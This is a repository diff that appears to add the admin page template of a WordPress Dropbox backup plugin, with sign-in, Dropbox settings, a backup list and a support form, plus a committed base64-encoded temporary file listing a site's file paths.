972 |
+
<div class="stat-wpadm-info" id="registr-info" style="margin-bottom: 2px; margin-top: 30px;">
|
973 |
+
<span style="font-weight:bold; font-size: 14px;"><?php langWPADM::get('If you are NOT registered at'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php langWPADM::get('WPAdm'); ?></a>,</span> <?php langWPADM::get('enter your email and password to use as your Account Data for authorization on WPAdm.'); ?> <br /><span style="font-weight: bold;font-size: 14px;"><?php langWPADM::get('If you already have an account at'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php langWPADM::get('WPAdm'); ?></a></span> <?php langWPADM::get('and you want to Sign-In, so please, enter your registered credential data (email and password twice).'); ?>
|
974 |
+
</div>
|
975 |
+
</form>
|
976 |
+
</div>
|
977 |
+
<div class="clear"></div>
|
978 |
+
<div class="block-button-show" style="color: #fff;">
|
979 |
+
<div class="block-click" onclick="showRegistInfo(true);">
|
980 |
+
<span id="registr-show" style="color: #fff;"><?php langWPADM::get('Show'); ?></span>
|
981 |
+
<div id="registr-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
|
982 |
+
</div>
|
983 |
+
</div>
|
984 |
+
</div>
|
985 |
+
<?php } else { ?>
|
986 |
+
<div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
|
987 |
+
<div class="stat-wpadm-info-title" id="title-regisr" style="padding :10px 0px; margin-top:11px; line-height: 25px; text-align: left; margin-left: 10px;">
|
988 |
+
<?php langWPADM::get('Sign In to backup more than one website...'); ?>
|
989 |
+
</div>
|
990 |
+
<div>
|
991 |
+
<form method="post" id="auth" name="auth" action="<?php echo SERVER_URL_INDEX . "login-process" ; ?>">
|
992 |
+
<div>
|
993 |
+
<div id="message-form" style="color: red; float: left;margin: 10px;margin-top: 14px;"></div>
|
994 |
+
</div>
|
995 |
+
<div style="padding: 5px; clear: both;">
|
996 |
+
<div class="form-field">
|
997 |
+
<input class="input-small" type="text" id="username" value="<?php echo get_option(PREFIX_BACKUP_ . "email");?>" readonly="readonly" required="required" name="username" placeholder="<?php langWPADM::get('Email'); ?>" />
|
998 |
+
</div>
|
999 |
+
<div class="form-field">
|
1000 |
+
<input class="input-small" type="password" required="required" name="password" placeholder="<?php langWPADM::get('Password'); ?>" />
|
1001 |
+
</div>
|
1002 |
+
<div class="form-field">
|
1003 |
+
<input class="button-wpadm" type="button" value="Sign In" onclick="auth_form(this);" />
|
1004 |
+
<input type="hidden" value="<?php echo 'dropbox-backup'?>" name="plugin" />
|
1005 |
+
</div>
|
1006 |
+
</div>
|
1007 |
+
<div style="clear:both; padding: 5px; font-size: 11px; color: #fff;">
|
1008 |
+
<div class="form-field" style="margin-bottom: 10px;">
|
1009 |
+
<input type="checkbox" onclick="setReadOnly('username')" style="margin: 0px;"> <?php langWPADM::get('set new mail'); ?>
|
1010 |
+
</div>
|
1011 |
+
</div>
|
1012 |
+
<div style="clear:both;"></div>
|
1013 |
+
</form>
|
1014 |
+
</div>
|
1015 |
+
</div>
|
1016 |
+
<?php } ?>
|
1017 |
+
<div class="cfTabsContainer" style="width: 28%; float: left; margin-left: 10px; padding-bottom: 0px; padding-top: 0px;">
|
1018 |
+
<div class="stat-wpadm-info-title" id="title-setting" style="padding :20px 0px; margin-top:11px; line-height: 50px;">
|
1019 |
+
<?php langWPADM::get('Settings'); ?>
|
1020 |
+
</div>
|
1021 |
+
<div id="setting_active" class="cfContentContainer" style="display: none;">
|
1022 |
+
<form method="post" action="" >
|
1023 |
+
<div class="stat-wpadm-registr-info" style="width: 100%; margin-bottom: 9px;">
|
1024 |
+
<div style="margin-bottom: 12px; margin-top: 20px; font-size: 15px; text-align: center;">
|
1025 |
+
<input class="btn-orange" type="button" style="padding: 5px 10px; font-size: 15px; font-weight: 500" onclick="connectDropbox(this,'<?php echo admin_url( 'admin-post.php?action=dropboxConnect' )?>')" value="<?php langWPADM::get('Connect to Dropbox'); ?>" name="submit">
|
1026 |
+
<div class="desc-wpadm"><span id="dropbox_uid_text"><?php echo isset($dropbox_options['oauth_token']) && isset($dropbox_options['uid']) ? langWPADM::get('Dropbox successfully connected:', false) . " UID " . $dropbox_options['uid'] : ''; ?></span></div>
|
1027 |
+
</div>
|
1028 |
+
<?php $show_fields = isset($dropbox_options['app_key']) && !empty($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && !empty($dropbox_options['app_secret']) && $dropbox_options['app_key'] != WPADM_APP_KEY && $dropbox_options['app_secret'] != WPADM_APP_SECRET ; ?>
|
1029 |
+
<div class="setting-checkbox">
|
1030 |
+
<input type="checkbox" onclick="showApp();" <?php echo $show_fields ? 'checked="checked"' : ''?> id="dbconnection-to-app" /><label for="dbconnection-to-app"><?php langWPADM::get('Connect using my Dropbox App');?></label>
|
1031 |
+
</div>
|
1032 |
+
|
1033 |
+
<table class="form-table stat-table-registr" style="margin-top:2px; <?php echo $show_fields ? 'margin-bottom:25px;' : ''?>">
|
1034 |
+
<tbody>
|
1035 |
+
<tr valign="top" id="dropbox-app-key" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
|
1036 |
+
<th scope="row">
|
1037 |
+
<label for="app_key"><?php langWPADM::get('App key'); ?>*</label>
|
1038 |
+
</th>
|
1039 |
+
<td>
|
1040 |
+
<input id="app_key" class="" type="text" name="app_key" value="<?php echo isset($dropbox_options['app_key']) && $dropbox_options['app_key'] != WPADM_APP_KEY ? $dropbox_options['app_key'] : ''?>">
|
1041 |
+
</td>
|
1042 |
+
</tr>
|
1043 |
+
<tr valign="top" id="dropbox-app-secret" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
|
1044 |
+
<th scope="row">
|
1045 |
+
<label for="app_secret"><?php langWPADM::get('App secret'); ?>*</label>
|
1046 |
+
</th>
|
1047 |
+
<td>
|
1048 |
+
<input id="app_secret" class="" type="text" name="app_secret" value="<?php echo isset($dropbox_options['app_secret']) && $dropbox_options['app_secret'] != WPADM_APP_SECRET ? $dropbox_options['app_secret'] : ''?>">
|
1049 |
+
</td>
|
1050 |
+
</tr>
|
1051 |
+
|
1052 |
+
<tr valign="top" id="help-key-pass" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
|
1053 |
+
<td colspan="2" align="center">
|
1054 |
+
<a class="help-key-secret" href="javascript:getHelperDropbox();" ><?php langWPADM::get('Where to get App key & App secret?'); ?></a><br />
|
1055 |
+
</td>
|
1056 |
+
</tr>
|
1057 |
+
</tbody>
|
1058 |
+
</table>
|
1059 |
+
|
1060 |
+
<?php if ( is_super_admin() ) { ?>
|
1061 |
+
<div class="setting-checkbox">
|
1062 |
+
<input type="checkbox" <?php echo isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ? 'checked="checked"' : ''; ?> name="is_admin" value="1" id="is_admin" onclick="saveSetting('is_admin')" />
|
1063 |
+
<label for="is_admin" style="font-size: 13px;"><?php langWPADM::get('Appear in menu for admins only'); ?></label>
|
1064 |
+
</div>
|
1065 |
+
<?php } ?>
|
1066 |
+
<div class="setting-checkbox">
|
1067 |
+
<input type="checkbox" <?php echo (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 'checked="checked"' : ''; ?> name="is_optimization" value="1" id="is_optimization" onclick="saveSetting('is_optimization')" />
|
1068 |
+
<label for="is_optimization" style="font-size: 13px;"><?php langWPADM::get('Database Optimization'); ?></label>
|
1069 |
+
</div>
|
1070 |
+
</div>
|
1071 |
+
</form>
|
1072 |
+
</div>
|
1073 |
+
<div class="clear"></div>
|
1074 |
+
<div class="block-button-show" style="color: #fff;">
|
1075 |
+
<div class="block-click" onclick="showSetting(true);">
|
1076 |
+
<span id="setting-show" style="color: #fff;"><?php langWPADM::get('Show'); ?></span>
|
1077 |
+
<div id="setting-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
|
1078 |
+
</div>
|
1079 |
+
</div>
|
1080 |
+
</div>
|
1081 |
+
</div>
|
1082 |
+
</div>
|
1083 |
+
<div style="clear: both;"></div>
|
1084 |
+
<div class="block-content">
|
1085 |
+
<div class="" style="margin-top:10px;">
|
1086 |
+
<div id="logs-form" style="display: none; float:left; width: 70%;">
|
1087 |
+
<div class="title-logs"><span style="font-size:16px;"><?php langWPADM::get('Please wait...'); ?> <span id="time_backup">0 <?php langWPADM::get('sec.'); ?></span><img style="float: right;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__))?>" alt=""></span></div>
|
1088 |
+
<div class="title-status" style="font-size:16px; display: none;"></div>
|
1089 |
+
<div style="border: 1px solid #ddd; text-align: left; background: #fff; padding: 2px;">
|
1090 |
+
<div id="log-backup" style="overflow: auto; height: 60px; border: 5px solid #fff; "></div>
|
1091 |
+
</div>
|
1092 |
+
</div>
|
1093 |
+
<?php if ($stars5) {?>
|
1094 |
+
<div id="reviews-dropbox" class="pointer" onclick="window.open('https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5');">
|
1095 |
+
<div class="title-reviews"><?php langWPADM::get('++ Review ++'); ?></div>
|
1096 |
+
<div class="desc-reviews"><?php langWPADM::get('Your review is important for us'); ?></div>
|
1097 |
+
<img src="<?php echo plugins_url('/img/stars-5.png', dirname(__FILE__));?>" alt=""></a>
|
1098 |
+
</div>
|
1099 |
+
<?php }?>
|
1100 |
+
<div id="support-button" style="float: right; margin-top: 130px; margin-right: 20px;">
|
1101 |
+
<button onclick="window.open('<?php echo SERVER_URL_INDEX . 'support/?pl=dbp'?>')" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Help'); ?></button> <br />
|
1102 |
+
</div>
|
1103 |
+
<div id="action-buttons" style="">
|
1104 |
+
<div style="float: left;">
|
1105 |
+
<button onclick="start_dropbox_backup();" class="backup_button" style=""><?php langWPADM::get('Create Dropbox Backup'); ?></button>
|
1106 |
+
</div>
|
1107 |
+
<div style="float: left; margin-top: 2px;">
|
1108 |
+
<button onclick="start_local_backup()" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Create Local Backup'); ?></button> <br />
|
1109 |
+
</div>
|
1110 |
+
<!-- <div style="float: left; margin-top: 2px;margin-left: 20px;">
|
1111 |
+
<button onclick="InludesSetting();" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Folders & files'); ?></button> <br />
|
1112 |
+
</div> -->
|
1113 |
+
<div style="clear: both;"></div>
|
1114 |
+
</div>
|
1115 |
+
</div>
|
1116 |
+
<div style="clear: both; margin-bottom: 10px;"></div>
|
1117 |
+
<div>
|
1118 |
+
<form action="<?php echo WPADM_URL_BASE;?>wpsite/recovery-backup" method="post" target="_blank" id="form_auth_backup" name="form_auth_backup">
|
1119 |
+
</form>
|
1120 |
+
<form action="<?php echo WPADM_URL_BASE;?>backup/tasks" method="post" target="_blank" id="form_auth_backup_create" name="form_auth_backup_create">
|
1121 |
+
<input type="hidden" name="url_task_create" value="<?php echo get_option('siteurl');?>">
|
1122 |
+
</form>
|
1123 |
+
<form action="" method="post" id="form_auth_backup" name="form_auth_backup">
|
1124 |
+
</form>
|
1125 |
+
<form action="<?php echo admin_url( 'admin-post.php?action=wpadm_delete_backup' )?>" method="post" id="delete_backups" name="delete_backups">
|
1126 |
+
<input type="hidden" name="backup-name" id="backup_name" value="" />
|
1127 |
+
<input type="hidden" name="backup-type" id="backup_type" value="" />
|
1128 |
+
</form>
|
1129 |
+
<!-- <div id="inludes-setting" class="" style="display: none; position: relative; text-align: center; background: #f1ebeb; border: 2px solid #dde4ff; border-radius: 5px;">
|
1130 |
+
<div>
|
1131 |
+
<div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
|
1132 |
+
<?php langWPADM::get('Include/Exclude of Files & Folders to backup'); ?>
|
1133 |
+
<div style="font-size: 14px;">
|
1134 |
+
<?php langWPADM::get('Database of web page will be included automatically'); ?>
|
1135 |
+
</div>
|
1136 |
+
</div>
|
1137 |
+
<div class="loading-img">
|
1138 |
+
<img style="display: none; margin: 0 auto;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__) ); ?>">
|
1139 |
+
</div>
|
1140 |
+
<div class="button-description">
|
1141 |
+
<!-- <input type="radio" value="folder" id="inc-folder" checked="checked"><label for="inc-folder">View folders</label> <input type="radio" value="files" id="inc-files" ><label for="inc-files">View Folders & Files</label>
|
1142 |
+
<div class="show-includes">
|
1143 |
+
|
1144 |
+
</div>
|
1145 |
+
</div>
|
1146 |
+
<div class="clear"></div>
|
1147 |
+
<div class="button-description" style="padding:20px 0; width: 100%;">
|
1148 |
+
<input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="saveIncludes();" style="text-align: center; width: 100px;" class="button-wpadm">
|
1149 |
+
<input type="button" value="<?php langWPADM::get('Cancel'); ?>" onclick="InludesSetting();" style="text-align: center; width: 100px;" class="button-wpadm">
|
1150 |
+
</div>
|
1151 |
+
</div>
|
1152 |
+
|
1153 |
+
</div> -->
|
1154 |
+
|
1155 |
+
<table class="table" style="margin-top: 5px; display: <?php echo isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0]) ? 'table' : 'none'?>;">
|
1156 |
+
<thead>
|
1157 |
+
<tr>
|
1158 |
+
<th>#</th>
|
1159 |
+
<th align="left"><?php langWPADM::get('Create, Date/Time'); ?></th>
|
1160 |
+
<th><?php langWPADM::get('Name of Backup'); ?></th>
|
1161 |
+
<th><?php langWPADM::get('Archive Parts'); ?></th>
|
1162 |
+
<th><?php langWPADM::get('Status'); ?></th>
|
1163 |
+
<th><?php langWPADM::get('Type of Backup'); ?></th>
|
1164 |
+
<th><?php langWPADM::get('Size'); ?></th>
|
1165 |
+
<?php if(is_admin() || is_super_admin()) {?>
|
1166 |
+
<th><?php langWPADM::get('Action'); ?></th>
|
1167 |
+
<?php
|
1168 |
+
}
|
1169 |
+
?>
|
1170 |
+
</tr>
|
1171 |
+
</thead>
|
1172 |
+
<tbody>
|
1173 |
+
<?php if (isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0])) {
|
1174 |
+
for($i = 0; $i < $n; $i++) {
|
1175 |
+
$size = $data['data'][$i]['size'] / 1024 / 1024; /// MByte
|
1176 |
+
$size = round($size, 2);
|
1177 |
+
$files = explode(",", str_replace(array('"', "[", "]"), "", $data['data'][$i]['files'] ) );
|
1178 |
+
$f = count($files);
|
1179 |
+
?>
|
1180 |
+
<tr>
|
1181 |
+
<td class="number-backup"><?php echo ($i + 1);?></td>
|
1182 |
+
<td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="text-align: left; padding-left: 7px;"><?php echo $data['data'][$i]['dt'];?></td>
|
1183 |
+
<td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer">
|
1184 |
+
<?php echo ($data['data'][$i]['size'] != 0) ? $data['data'][$i]['name'] : "<strong style=\"color:red;\">". langWPADM::get('Not available', false) . "</strong> (<a style=\"text-decoration:underline;\">".langWPADM::get('Why?', false)."</a>)";?>
|
1185 |
+
<script type="text/javascript">
|
1186 |
+
backup_name = '<?php echo $data['data'][$i]['name']?>';
|
1187 |
+
</script>
|
1188 |
+
</td>
|
1189 |
+
<td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo isset($data['data'][$i]['count']) ? $data['data'][$i]['count'] : $f ;?></td>
|
1190 |
+
<td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="padding: 0px;">
|
1191 |
+
<?php if ($data['data'][$i]['size'] != 0) { ?>
|
1192 |
+
<img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;" />
|
1193 |
+
<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Successful', false);?></div>
|
1194 |
+
<?php } else {
|
1195 |
+
?>
|
1196 |
+
<img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />
|
1197 |
+
<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Fail', false);?> (<a style="text-decoration:underline;"><?php echo langWPADM::get('Show Details', false);?></a>)</div>
|
1198 |
+
<?php
|
1199 |
+
}?>
|
1200 |
+
</td>
|
1201 |
+
<td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $data['data'][$i]['type'];?> <?php langWPADM::get('backup'); ?></td>
|
1202 |
+
<td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $size . langWPADM::get('Mb', false);?></td>
|
1203 |
+
<td>
|
1204 |
+
<?php if(is_admin() || is_super_admin()) {?>
|
1205 |
+
<?php if ($data['data'][$i]['size'] > 0) { ?>
|
1206 |
+
<a class="button-wpadm" href="javascript:void(0)" title="<?php langWPADM::get('Restore'); ?>" onclick="show_recovery_form('<?php echo isset($data['data'][$i]['name']) && $data['data'][$i]['type'] != 'local' ? $data['data'][$i]['name'] : 'local' ?>', '<?php echo $data['data'][$i]['name']?>')" style="color: #fff;"><span class="pointer dashicons dashicons-backup" style="margin-top:3px;"></span><?php langWPADM::get('Restore'); ?></a>
|
1207 |
+
<?php } ?>
|
1208 |
+
<a class="button-wpadm" href="javascript:void(0)" title="<?php langWPADM::get('Delete'); ?>" onclick="delete_backup('<?php echo $data['data'][$i]['name']; ?>', '<?php echo $data['data'][$i]['type'];?>')" style="color: #fff;"><span class="pointer dashicons dashicons-trash" style="margin-top:3px;"></span><?php langWPADM::get('Delete'); ?></a>
|
1209 |
+
<?php
|
1210 |
+
}
|
1211 |
+
?>
|
1212 |
+
</td>
|
1213 |
+
</tr>
|
1214 |
+
<tr id="<?php echo md5( print_r($data['data'][$i], 1) );?>" style="display:none; ">
|
1215 |
+
<?php if ($data['data'][$i]['size'] != 0) {?>
|
1216 |
+
<td colspan="2">
|
1217 |
+
</td>
|
1218 |
+
<td align="center" style="padding: 0px; width: 350px;">
|
1219 |
+
<div style="overflow: auto; max-height: 150px;">
|
1220 |
+
<?php
|
1221 |
+
if ($f > 0) { ?>
|
1222 |
+
<table border="0" align="center" class="info-path"> <?php
|
1223 |
+
for($j = 0; $j < $f; $j++) {
|
1224 |
+
if (!empty($files[$j])) {
|
1225 |
+
?>
|
1226 |
+
<tr style="border: 0;">
|
1227 |
+
<td style="border: 0;">
|
1228 |
+
<?php if ($data['data'][$i]['type'] == 'local') {?>
|
1229 |
+
<a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . "/{$data['data'][$i]['name']}/{$files[$j]}"?>">
|
1230 |
+
<?php echo $files[$j]; ?>
|
1231 |
+
</a>
|
1232 |
+
<?php
|
1233 |
+
} else {
|
1234 |
+
echo $files[$j];
|
1235 |
+
}
|
1236 |
+
?>
|
1237 |
+
</td>
|
1238 |
+
</tr>
|
1239 |
+
<?php
|
1240 |
+
}
|
1241 |
+
}
|
1242 |
+
?>
|
1243 |
+
</table>
|
1244 |
+
<?php
|
1245 |
+
}
|
1246 |
+
?>
|
1247 |
+
</div>
|
1248 |
+
</td>
|
1249 |
+
<td colspan="6"></td>
|
1250 |
+
<?php
|
1251 |
+
} else { ?>
|
1252 |
+
<td colspan="2">
|
1253 |
+
</td>
|
1254 |
+
<td colspan="4" style="background: #ddecf9;">
|
1255 |
+
<div style="padding-left: 10px; padding-right: 10px;">
|
1256 |
+
<div style="font-size: 12px; text-align: left;">
|
1257 |
+
<?php
|
1258 |
+
$time_log = str_replace(array(':', '-', " "), "_", $data['data'][$i]['dt']);
|
1259 |
+
if ( file_exists( $base_path . "/tmp/logs_error_" . $time_log ) ) {
|
1260 |
+
$log_ = file_get_contents( $base_path . "/tmp/logs_error_" . $time_log );
|
1261 |
+
$pos = stripos($log_, "error");
|
1262 |
+
if ($pos !== false) {
|
1263 |
+
for($p = $pos; ; $p--) {
|
1264 |
+
if ($log_{$p} == "\n") {
|
1265 |
+
$pos_new = $p + 1;
|
1266 |
+
break;
|
1267 |
+
}
|
1268 |
+
}
|
1269 |
+
$error =substr($log_, $pos_new);
|
1270 |
+
echo str_replace("\n", "<br />", $error);
|
1271 |
+
}
|
1272 |
+
} else {
|
1273 |
+
langWPADM::get('Error log wasn\'t Found');
|
1274 |
+
}?>
|
1275 |
+
</div>
|
1276 |
+
|
1277 |
+
<form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left;">
|
1278 |
+
<div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
|
1279 |
+
<?php langWPADM::get('Please, provide your FTP access to resolve this issue quickly:');?>
|
1280 |
+
</div>
|
1281 |
+
<div class="form-help-send-error" >
|
1282 |
+
<div style="margin-top: 3px;">
|
1283 |
+
<div class="label-help" style="">
|
1284 |
+
<label for="ftp-host"><?php langWPADM::get('FTP Host'); ?></label>
|
1285 |
+
</div>
|
1286 |
+
<div style="float:left; ">
|
1287 |
+
<input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
|
1288 |
+
</div>
|
1289 |
+
</div>
|
1290 |
+
<div class="clear"></div>
|
1291 |
+
<div style="margin-top: 3px;">
|
1292 |
+
<div class="label-help" >
|
1293 |
+
<label for="ftp-user"><?php langWPADM::get('FTP User'); ?></label>
|
1294 |
+
</div>
|
1295 |
+
<div style="float:left; ">
|
1296 |
+
<input type="text" id="ftp-user" value="" name="ftp_user">
|
1297 |
+
</div>
|
1298 |
+
</div>
|
1299 |
+
<div class="clear"></div>
|
1300 |
+
<div style="margin-top: 3px;">
|
1301 |
+
<div class="label-help" >
|
1302 |
+
<label for="ftp-pass"><?php langWPADM::get('FTP Password'); ?></label>
|
1303 |
+
</div>
|
1304 |
+
<div style="float:left; ">
|
1305 |
+
<input type="text" id="ftp-pass" value="" name="ftp_pass">
|
1306 |
+
</div>
|
1307 |
+
</div>
|
1308 |
+
<div class="clear"></div>
|
1309 |
+
|
1310 |
+
</div>
|
1311 |
+
<div class="form-help-mail-response">
|
1312 |
+
<div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
|
1313 |
+
<div class="label-help" >
|
1314 |
+
<label for="email-resp"><?php langWPADM::get('Response Email:'); ?></label>
|
1315 |
+
</div>
|
1316 |
+
<div style=" ">
|
1317 |
+
<input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
|
1318 |
+
</div>
|
1319 |
+
</div>
|
1320 |
+
</div>
|
1321 |
+
<div class="clear"></div>
|
1322 |
+
<div style="text-align: left; margin-left: 100px; margin-top: 10px;">
|
1323 |
+
<input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
|
1324 |
+
<input class="backup_button" style="font-size: 14px;font-weight: normal;padding: 3px;text-shadow: 0px;" type="submit" value="<?php langWPADM::get('Send request to support'); ?>">
|
1325 |
+
</div>
|
1326 |
+
</form>
|
1327 |
+
|
1328 |
+
</div>
|
1329 |
+
</td>
|
1330 |
+
<td colspan="3">
|
1331 |
+
</td>
|
1332 |
+
<?php
|
1333 |
+
}
|
1334 |
+
?>
|
1335 |
+
</tr>
|
1336 |
+
<?php
|
1337 |
+
} ?>
|
1338 |
+
<?php } ?>
|
1339 |
+
</tbody>
|
1340 |
+
</table>
|
1341 |
+
|
1342 |
+
</div>
|
1343 |
+
</div>
|
1344 |
+
|
1345 |
+
</div>
|
tmp/archive
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
YTozMDA6e2k6MDtzOjEzNzc6Ii9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvLmh0YWNjZXNzLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvaW5kZXgucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvbGljZW5zZS50eHQsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC9yZWFkbWUuaHRtbCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFjdGl2YXRlLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWJsb2ctaGVhZGVyLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWNvbW1lbnRzLXBvc3QucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWNvbmZpZy1zYW1wbGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtY3Jvbi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1saW5rcy1vcG1sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWxvYWQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtbG9naW4ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtbWFpbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1zZXR0aW5ncy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1zaWdudXAucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtdHJhY2tiYWNrLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3htbHJwYy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi91c2VyL2luZGV4LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL3VzZXIvbWVudS5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi91c2VyL3VzZXItZWRpdC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi91c2VyL2ZyZWVkb21zLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL3VzZXIvYWJvdXQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vdXNlci9wcm9maWxlLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL3VzZXIvYWRtaW4ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vdXNlci9jcmVkaXRzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL21zLWVkaXQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vd2lkZ2V0cy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9pbXBvcnQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vaW5kZXgucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vb3B0aW9ucy1nZW5lcmFsLnBocCI7aToxO3M6MTg2OToiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9lZGl0LWNvbW1lbnRzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvc2V0dGluZ3MucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vbmV0d29yay9pbmRleC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9uZXR3b3JrL3VzZXJzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvdGhlbWVzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvdXBkYXRlLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvbWVudS5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9uZXR3b3JrL3NpdGUtdXNlcnMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vbmV0d29yay91c2VyLWVkaXQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vbmV0d29yay9wbHVnaW4taW5zdGFsbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9uZXR3b3JrL3NpdGVzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvcGx1Z2lucy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9uZXR3b3JrL2ZyZWVkb21zLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvdXBkYXRlLWNvcmUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vbmV0d29yay91c2VyLW5ldy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1hZG1pbi9uZXR3b3JrL2Fib3V0LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWFkbWluL25ldHdvcmsvc2l0ZS10aGVtZXMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtYWRtaW4vbmV0d29yay9lZGl0LnBocCwvaG9tZS9ic2